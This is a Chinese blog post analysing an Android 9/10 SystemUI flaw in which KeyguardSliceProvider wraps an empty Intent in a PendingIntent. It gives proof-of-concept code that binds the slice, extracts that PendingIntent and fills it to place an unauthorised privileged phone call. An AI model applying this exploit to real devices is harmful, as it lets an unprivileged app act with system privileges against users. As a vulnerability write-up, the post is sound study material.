某AOSP框架层提权漏洞分析

Android framework systemui 越权

前置学习

ContentProvider call

call函数的其中一个原型如下:

  1. public Bundle call (String method, String arg, Bundle extras)

与其他基于数据库表的query/insert/delete等函数不同,call提供了一种针对Provider的直接操作接口,支持传入的参数分别为:String类型的方法名、String类型的参数和Bundle类型的参数,并返回给调用者一个Bundle类型的数据。

call函数的使用潜藏暗坑,开发者文档特意给出警示:Android框架并没有针对call函数进行权限检查,call函数必须实现自己的权限检查。这里的潜在含义是:AndroidManifest文件中对ContentProvider的权限设置可能无效,必须在代码中对调用者进行权限检查。

SliceProvider特性

SliceAndroid显示远程内容的新方法。SliceProvider是自Android P开始引入的一种应用程序间共享UI界面的机制。
如下图所示,在默认使用场景下,Slice的呈现者(SlicePresenter),可以展示出Slice URIAndroid系统提供的onBindSlice()等 API 来访问另一个 App 通过SliceProvider分享出来的Slice。当 App(SlicePresenter) 想要显示Slice时,将调用onBlindSlice(),并根据内容URI返回的Slice来使用。也可以借助notifyChange()来更新Slice

Alt text

漏洞代码

android9android10中,出现在不同的位置,但是一样可以被利用的漏洞。

  1. //f rameworks/b ase/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
  2. protected void addPrimaryAction(ListBuilder builder) {
  3. // Add simple action because API requires it; Keyguard handles presenting
  4. // its own slices so this action + icon are actually never used.
  5. //漏洞点
  6. PendingIntent pi = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
  7. Icon icon = Icon.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
  8. SliceAction action = new SliceAction(pi, icon, mLastText);
  9. RowBuilder primaryActionRow = new RowBuilder(builder, Uri.parse(KEYGUARD_ACTION_URI))
  10. .setPrimaryAction(action);
  11. builder.addRow(primaryActionRow);
  12. }

漏洞产生原因

pendingintent初始化过程中,未对intent赋值,产生的恶意篡改问题

触发路径

  1. //f rameworks/b ase/core/java/android/app/slice/SliceProvider.java
  2. public static final String METHOD_SLICE = "bind_slice";
  3. @Override
  4. public Bundle call(String method, String arg, Bundle extras) {
  5. if (method.equals(METHOD_SLICE)) {
  6. Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
  7. extras.getParcelable(EXTRA_BIND_URI)));
  8. List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
  9. String callingPackage = getCallingPackage();
  10. int callingUid = Binder.getCallingUid();
  11. int callingPid = Binder.getCallingPid();
  12. //触发函数,supportedSpecs要事先布置好
  13. Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
  14. Bundle b = new Bundle();
  15. b.putParcelable(EXTRA_SLICE, s);
  16. return b;
  17. } else if (method.equals(METHOD_MAP_INTENT))
  18. [...]
  19. return super.call(method, arg, extras);
  20. }
  21. private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
  22. String callingPkg, int callingUid, int callingPid) {
  23. // This can be removed once Slice#bindSlice is removed and everyone is using
  24. // SliceManager#bindSlice.
  25. String pkg = callingPkg != null ? callingPkg
  26. : getContext().getPackageManager().getNameForUid(callingUid);
  27. try {
  28. //检查对应app是否有对应权限申请
  29. mSliceManager.enforceSlicePermission(sliceUri, pkg,
  30. callingPid, callingUid, mAutoGrantPermissions);
  31. } catch (SecurityException e) {
  32. //如果不对,就要去申请权限报错
  33. return createPermissionSlice(getContext(), sliceUri, pkg);
  34. }
  35. mCallback = "onBindSlice";
  36. Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
  37. try {
  38. //触发函数
  39. return onBindSliceStrict(sliceUri, supportedSpecs);
  40. } finally {
  41. Handler.getMain().removeCallbacks(mAnr);
  42. }
  43. }
  44. private Slice onBindSliceStrict(Uri sliceUri, List<SliceSpec> supportedSpecs) {
  45. ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
  46. try {
  47. StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
  48. .detectAll()
  49. .penaltyDeath()
  50. .build());
  51. //触发函数
  52. return onBindSlice(sliceUri, new ArraySet<>(supportedSpecs));
  53. } finally {
  54. StrictMode.setThreadPolicy(oldPolicy);
  55. }
  56. }
  57. @Deprecated
  58. //可以看出,在基类里该方法为空,具体实现在派生的子类中
  59. public Slice onBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs) {
  60. return null;
  61. }

问题出现在派生类中

  1. //f rameworks/b ase/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
  2. @Override
  3. //初始化构造函数
  4. public boolean onCreateSliceProvider() {
  5. synchronized (this) {
  6. KeyguardSliceProvider oldInstance = KeyguardSliceProvider.sInstance;
  7. if (oldInstance != null) {
  8. oldInstance.onDestroy();
  9. }
  10. mAlarmManager = getContext().getSystemService(AlarmManager.class);
  11. mContentResolver = getContext().getContentResolver();
  12. mNextAlarmController = new NextAlarmControllerImpl(getContext());
  13. mNextAlarmController.addCallback(this);
  14. mZenModeController = new ZenModeControllerImpl(getContext(), mHandler);
  15. mZenModeController.addCallback(this);
  16. mDatePattern = getContext().getString(R.string.system_ui_aod_date_pattern);
  17. //创建mPendingIntent时构造了空Intent,既没有指定Intent的Package、也没有指定Intent的Action
  18. mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
  19. mMediaWakeLock = new SettableWakeLock(WakeLock.createPartial(getContext(), "media"),
  20. "media");
  21. KeyguardSliceProvider.sInstance = this;
  22. registerClockUpdate();
  23. updateClockLocked();
  24. }
  25. return true;
  26. }
  27. @AnyThread
  28. @Override
  29. //派生子类具体实现了onBindSlice方法
  30. public Slice onBindSlice(Uri sliceUri) {
  31. Trace.beginSection("KeyguardSliceProvider#onBindSlice");
  32. Slice slice;
  33. synchronized (this) {
  34. ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
  35. if (needsMediaLocked()) {
  36. addMediaLocked(builder);
  37. } else {
  38. builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
  39. }
  40. addNextAlarmLocked(builder);
  41. addZenModeLocked(builder);
  42. //触发函数
  43. addPrimaryActionLocked(builder);
  44. slice = builder.build();
  45. }
  46. Trace.endSection();
  47. return slice;
  48. }
  49. protected void addPrimaryActionLocked(ListBuilder builder) {
  50. // Add simple action because API requires it; Keyguard handles presenting
  51. // its own slices so this action + icon are actually never used.
  52. IconCompat icon = IconCompat.createWithResource(getContext(),
  53. R.drawable.ic_access_alarms_big);
  54. //成员mPendingIntent被放入action中,之后会被执行
  55. SliceAction action = SliceAction.createDeepl ink(mPendingIntent, icon,
  56. ListBuilder.ICON_IMAGE, mLastText);
  57. RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
  58. .setPrimaryAction(action);
  59. builder.addRow(primaryActionRow);
  60. }

Alt text

利用过程

首先要构造call函数的参数,uri的路径是派生类的路径:content://com.android.systemui.keyguardmethod已经知道,arg可以不用设置,关键是extras怎么构造。可以参考cts/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java里的例子。

  1. private Slice doQuery(Uri actionUri) {
  2. Bundle extras = new Bundle();
  3. extras.putParcelable("slice_uri", actionUri);
  4. extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
  5. new SliceSpec("androidx.slice.LIST", 1),
  6. new SliceSpec("androidx.app.slice.BASIC", 1),
  7. new SliceSpec("androidx.slice.BASIC", 1),
  8. new SliceSpec("androidx.app.slice.LIST", 1)
  9. ));
  10. [...]

最后,构造出来为下所示:

  1. final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
  2. Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
  3. private Bundle prepareReqBundle() {
  4. Bundle extras = new Bundle();
  5. extras.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
  6. ArrayList< Parcelable> lists = new ArrayList<Parcelable>();
  7. lists.add(new SliceSpec("androidx.slice.LIST", 1));
  8. lists.add(new SliceSpec("androidx.app.slice.BASIC", 1));
  9. lists.add(new SliceSpec("androidx.slice.BASIC", 1));
  10. lists.add(new SliceSpec("androidx.app.slice.LIST", 1));
  11. extras.putParcelableArrayList("supported_specs", lists);
  12. return extras;
  13. }

其次,发现直接访问SystemUISlice的需要授权,所以需要再构造一个申请授权的intent。在上文触发路径的申请权限流程是:createPermissionSlice->onCreatePermissionRequest->createPermissionIntent.

  1. public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
  2. String callingPackage) {
  3. Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
  4. intent.setComponent(new ComponentName("com.android.systemui",
  5. "com.android.systemui.SlicePermissionActivity"));
  6. intent.putExtra(EXTRA_BIND_URI, sliceUri);
  7. intent.putExtra(EXTRA_PKG, callingPackage);
  8. intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
  9. // Unique pending intent.
  10. intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
  11. .build());
  12. return PendingIntent.getActivity(context, 0, intent, 0);
  13. }

Alt text

模仿上述代码的构造,poc中参考其来发送申请权限行为。

  1. Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
  2. intent.setComponent(new ComponentName("com.android.systemui",
  3. "com.android.systemui.SlicePermissionActivity"));
  4. Uri uri = Uri.parse(uriKeyguardSlices);
  5. intent.putExtra("slice_uri", uri);
  6. intent.putExtra("pkg", getPackageName());
  7. intent.putExtra("provider_pkg", "com.android.systemui");
  8. startActivity(intent);

接着,获取到call函数返回的Bundle类型数据后,查看下列代码来挖掘深藏的mPendingIntent参数。

  1. public static final String EXTRA_SLICE = "slice";
  2. public Bundle call(String method, String arg, Bundle extras) {
  3. [...]
  4. b.putParcelable(EXTRA_SLICE, s);
  5. return b;
  6. }
  7. public Slice onBindSlice(Uri sliceUri) {
  8. Slice slice;
  9. synchronized (this) {
  10. ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
  11. [...]
  12. addNextAlarmLocked(builder);
  13. addZenModeLocked(builder);
  14. //slice中的第三个数据结构体
  15. addPrimaryActionLocked(builder);
  16. slice = builder.build();
  17. }
  18. protected void addPrimaryActionLocked(ListBuilder builder) {
  19. IconCompat icon = IconCompat.createWithResource(getContext(),
  20. R.drawable.ic_access_alarms_big);
  21. //第一个也是唯一一个SliceAction数据
  22. SliceAction action = SliceAction.createDeepl ink(mPendingIntent, icon,
  23. ListBuilder.ICON_IMAGE, mLastText);
  24. RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
  25. .setPrimaryAction(action);
  26. builder.addRow(primaryActionRow);
  27. }

那个action就是需要劫持的PendingIntent,通过观察,位于返回Slice3SliceItem的第1SliceItem,用代码表示就是:

  1. Slice slice = responseBundle.getParcelable("slice");
  2. PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();

其实这个办法不够严谨,然而 不同厂商封包是否相同,需要深入思考。
一种简单暴力的方式,就是逐步打印Slice结构体的内容,由于大部分内容不可解析而无法打印,但getItem()后,还是能出现可能的成员对象,一步步寻找到某个Action为PendingIntent,因为整个Slice中只有一个,所以找到就是成功了。
下面就是Google Pixel 2 Android 9的路径,可以看出和 其他厂商封包不同。

  1. Log.d("see", "slice: "+slice.getItems().get(1).getSlice().getItems().get(0).getSlice().getItems().get(0).getAction().toString());

最后,构造恶意的intent来填充mPendingIntent的双无intent,比如无授权的自动拨打电话

因为初始化PendingIntent时传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send()时可以随意填充Intent里的大部分内容。这是因为在系统源码里PendingIntentRecord.sendInner调用了finalIntent.fillIn(intent,key.flags),允许调用者填充Intent的值。

  1. Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
  2. evilIntent.setData(Uri.parse("tel:000"));
  3. try {
  4. pi.send(getApplicationContext(), 0, evilIntent, null, null);
  5. }catch (PendingIntent.CanceledException e){
  6. e.printStackTrace();
  7. }
  • 发表于 2021-06-11 14:16:01
  • 阅读 ( 7661 )
  • 分类:其他

0 条评论

带头大哥
带头大哥

50 篇文章

站长统计